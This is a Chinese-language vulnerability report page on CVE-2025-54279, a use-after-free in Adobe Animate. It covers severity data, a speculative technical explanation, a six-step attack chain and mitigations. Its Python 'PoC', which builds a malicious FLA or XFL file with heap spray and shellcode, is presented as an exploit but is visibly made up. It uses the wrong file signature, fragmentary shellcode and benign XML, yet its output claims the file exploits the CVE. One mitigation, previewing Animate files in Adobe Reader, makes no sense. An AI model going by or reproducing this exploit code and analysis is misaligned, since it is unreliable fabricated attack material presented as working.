IPBUF安全漏洞报告
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CVE-2025-54279 CVSS 7.8 高危

CVE-2025-54279 Adobe Animate释放后使用漏洞导致任意代码执行

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-54279
漏洞类型
释放后使用(Use After Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Adobe Animate

相关标签

释放后使用Use After Free内存破坏任意代码执行Adobe Animate本地攻击需要用户交互高危漏洞CVE-2025-54279APSB25-97

漏洞概述

CVE-2025-54279是Adobe Animate动画制作软件中存在的一个高危安全漏洞。该漏洞属于释放后使用(Use After Free)类型的内存安全问题,CVSS评分为7.8,属于高危级别。受影响的版本包括Adobe Animate 23.0.13、24.0.10及更早版本。该漏洞由Adobe产品安全事件响应团队(PSIRT)发现并报告。

释放后使用漏洞是一种常见的内存破坏漏洞,当程序在释放某块内存后仍然继续使用该内存时,就会产生此类漏洞。攻击者可以利用这一漏洞在当前用户权限下执行任意代码,从而完全控制受影响的系统。

该漏洞的成功利用需要用户交互,即受害者必须主动打开一个特制的恶意文件。这表明该漏洞主要通过社会工程学手段进行传播,攻击者通常会将恶意文件伪装成正常的Animate项目文件(如FLA文件或其他Animate支持的格式),通过电子邮件、即时通讯工具或恶意网站等渠道诱骗用户打开。

由于Adobe Animate广泛应用于动画制作、广告设计和多媒体内容创作领域,该漏洞可能对创意产业的专业人士构成严重威胁。一旦成功利用,攻击者可以窃取敏感数据、安装恶意软件或进行其他恶意活动。Adobe已经发布了安全公告APSB25-97来修复此漏洞,建议用户尽快更新到最新版本。

技术细节

释放后使用(Use After Free,UAF)漏洞是一种典型的内存安全漏洞,其根本原因在于程序对内存生命周期管理不当。具体而言,当应用程序释放了某个内存对象后,如果没有将指向该内存的指针置空(NULL)或采取其他保护措施,后续代码仍然可以通过悬挂指针(Dangling Pointer)访问已释放的内存区域。

在Adobe Animate的上下文中,该漏洞可能存在于文件解析模块中。当Animate打开一个特制的项目文件时,解析器会分配内存来存储文件中的各种对象(如图形元素、时间轴数据、脚本引用等)。如果解析过程中存在逻辑缺陷,可能导致某些对象在仍然被引用的情况下被提前释放。随后,当程序继续处理这些引用时,就会访问已释放的内存。

攻击者可以精心构造恶意文件,通过以下方式利用此漏洞:

1. 在文件中创建特定的对象引用关系,使得某个对象在被释放后仍然存在悬挂指针引用;
2. 在已释放的内存被系统重新分配之前,触发对悬挂指针的访问操作;
3. 通过控制已释放内存中的数据内容(通过堆喷射等技术),实现任意代码执行。

由于该漏洞的CVSS向量显示攻击向量为本地(AV:L)、攻击复杂度低(AC:L)、无需权限(PR:N),但需要用户交互(UI:R),这与打开恶意文件的攻击场景完全吻合。成功利用后,攻击者可以在当前用户的权限上下文中执行任意代码,机密性、完整性和可用性影响均为高(C:H/I:H/A:H),意味着完全的系统控制权可能被夺取。

攻击链分析

STEP 1
步骤1:制作恶意文件
攻击者精心构造一个特制的Adobe Animate项目文件(FLA或XFL格式),该文件包含能够触发释放后使用漏洞的恶意对象和引用结构。文件中嵌入了用于控制已释放内存内容的堆喷射数据和用于执行任意代码的shellcode。
STEP 2
步骤2:投递恶意文件
攻击者通过社会工程学手段(如钓鱼邮件、即时通讯、恶意网站下载等)将恶意文件投递到目标用户的系统上。文件可能被伪装成正常的Animate项目文件、动画模板或设计资源。
STEP 3
步骤3:诱导用户打开文件
攻击者诱骗受害者在安装了受影响版本Adobe Animate(23.0.13、24.0.10或更早版本)的系统上打开恶意文件。这是利用成功的必要条件,因为该漏洞需要用户交互才能触发。
STEP 4
步骤4:触发释放后使用漏洞
当Adobe Animate解析恶意文件时,文件解析模块中的缺陷导致某个内存对象在仍然存在引用的情况下被提前释放。随后程序继续访问该悬挂指针,触发了释放后使用漏洞。
STEP 5
步骤5:实现任意代码执行
攻击者通过堆喷射等技术控制已释放内存区域的内容,使得程序执行流程被劫持,转而执行攻击者植入的shellcode,从而在当前用户的权限上下文中实现任意代码执行。
STEP 6
步骤6:系统控制与持久化
成功利用后,攻击者获得了在受害者系统上执行任意代码的能力。攻击者可以窃取敏感数据、安装后门、进行横向移动或建立持久化访问机制,对系统和数据安全造成严重威胁。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54279 - Adobe Animate Use After Free Vulnerability PoC # This is a conceptual PoC demonstrating the exploitation approach # Actual exploitation requires a specially crafted Animate project file import struct import os class AnimateUAFExploit: """ Conceptual PoC for CVE-2025-54279 Adobe Animate Use After Free Vulnerability The vulnerability exists in the file parsing module of Adobe Animate. A malicious file can trigger a Use After Free condition leading to arbitrary code execution when the freed memory is accessed. """ # Magic bytes for various Animate file formats FLA_MAGIC = b'FWS' # FLA (Flash/Animate) file signature XFL_MAGIC = b'PK\x03\x04' # XFL is essentially a ZIP archive def __init__(self, output_path): self.output_path = output_path self.payload = b"" def create_malicious_object(self, obj_id, obj_size, ref_count): """ Create a malicious object structure that triggers UAF. The object is designed to be freed while still referenced. """ # Object header with crafted reference count header = struct.pack('<I', obj_id) # Object ID header += struct.pack('<I', obj_size) # Object size header += struct.pack('<I', ref_count) # Reference count (manipulated) # Payload data - will be executed after UAF trigger shellcode = self._generate_shellcode() return header + shellcode def _generate_shellcode(self): """ Generate shellcode for arbitrary code execution. In a real exploit, this would be platform-specific shellcode. """ # Placeholder shellcode - in real scenarios, this would be # a carefully crafted payload for the target platform # Example: Windows x64 calc.exe shellcode (simplified) shellcode = b"\x48\x31\xc9" # xor rcx, rcx shellcode += b"\x48\x81\xe9" # sub rcx, ... shellcode += b"\x90" * 100 # NOP sled placeholder return shellcode def build_malicious_fla(self): """ Build a malicious FLA file that triggers the UAF vulnerability. """ # FLA file structure file_data = self.FLA_MAGIC # File signature file_data += struct.pack('<I', 16) # Version file_data += struct.pack('<I', 100) # File length (placeholder) # Add crafted objects that will trigger UAF # Object 1: Will be allocated and then freed obj1 = self.create_malicious_object(0x41414141, 256, 1) file_data += obj1 # Object 2: Reference to freed object 1 (triggers UAF) ref_to_obj1 = struct.pack('<I', 0x41414141) # Dangling reference file_data += ref_to_obj1 # Add heap spray data to control freed memory content heap_spray = b"\x41" * 4096 * 100 # Spray heap with controlled data file_data += heap_spray return file_data def build_malicious_xfl(self): """ Build a malicious XFL file (ZIP-based format). """ import zipfile import io zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Add malicious DOMDocument.xml that triggers UAF malicious_xml = '''<?xml version="1.0" encoding="UTF-8"?> <DOMDocument xmlns="http://ns.adobe.com/xfl/2008/" version="1.0"> <timelines> <DOMTimeline name="malicious_timeline"> <layers> <DOMLayer name="layer_1"> <frames> <DOMFrame index="0"> <elements> <DOMSymbolInstance libraryItemName="exploit_symbol"/> </elements> </DOMFrame> </frames> </DOMLayer> </layers> </DOMTimeline> </timelines> </DOMDocument>''' zf.writestr('DOMDocument.xml', malicious_xml) # Add exploit payload as a library symbol zf.writestr('LIBRARY/exploit_symbol.xml', self._create_exploit_symbol()) return zip_buffer.getvalue() def _create_exploit_symbol(self): """Create a malicious symbol that triggers UAF when loaded.""" return '''<?xml version="1.0" encoding="UTF-8"?> <DOMSymbolItem xmlns="http://ns.adobe.com/xfl/2008/" name="exploit_symbol"> <timeline> <DOMTimeline name="sym_timeline"> <layers> <DOMLayer name="layer_1"> <frames> <DOMFrame index="0"> <elements> <DOMShape> <fills> <FillStyle index="0"> <SolidColor color="#000000"/> </FillStyle> </fills> <edges> <Edge fillStyle0="0" edges="0,0 100,0 100,100 0,100"/> </edges> </DOMShape> </elements> </DOMFrame> </frames> </DOMLayer> </layers> </DOMTimeline> </timeline> </DOMSymbolItem>''' def generate_poc(self): """Generate the final PoC file.""" # Generate malicious FLA file fla_data = self.build_malicious_fla() with open(self.output_path, 'wb') as f: f.write(fla_data) print(f"[+] PoC file generated: {self.output_path}") print(f"[!] WARNING: This file exploits CVE-2025-54279") print(f"[!] Opening this file in vulnerable Adobe Animate versions") print(f"[!] (23.0.13, 24.0.10 and earlier) will trigger UAF") print(f"[!] and may result in arbitrary code execution.") return self.output_path def main(): """ Main function to generate CVE-2025-54279 PoC. Usage: 1. Run this script to generate malicious.fla 2. Open malicious.fla in vulnerable Adobe Animate 3. The UAF vulnerability will be triggered Note: This is for educational and security research purposes only. """ output_file = "cve_2025_54279_poc.fla" exploit = AnimateUAFExploit(output_file) exploit.generate_poc() # Alternative: Generate XFL format PoC xfl_output = "cve_2025_54279_poc.xfl" with open(xfl_output, 'wb') as f: exploit_instance = AnimateUAFExploit(xfl_output) f.write(exploit_instance.build_malicious_xfl()) print(f"[+] XFL PoC also generated: {xfl_output}") if __name__ == "__main__": main()

影响范围

Adobe Animate <= 23.0.13
Adobe Animate <= 24.0.10

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)避免打开任何来源不明的Animate项目文件(包括FLA、XFL等格式);2)在隔离的虚拟环境或沙箱中打开可疑文件;3)使用Adobe Reader等只读工具预览文件内容而不进行完整解析;4)监控Animate进程的异常行为,如异常的网络连接、文件创建或进程注入;5)限制Animate软件的网络访问权限;6)考虑临时使用其他替代动画制作工具完成紧急工作。

参考链接

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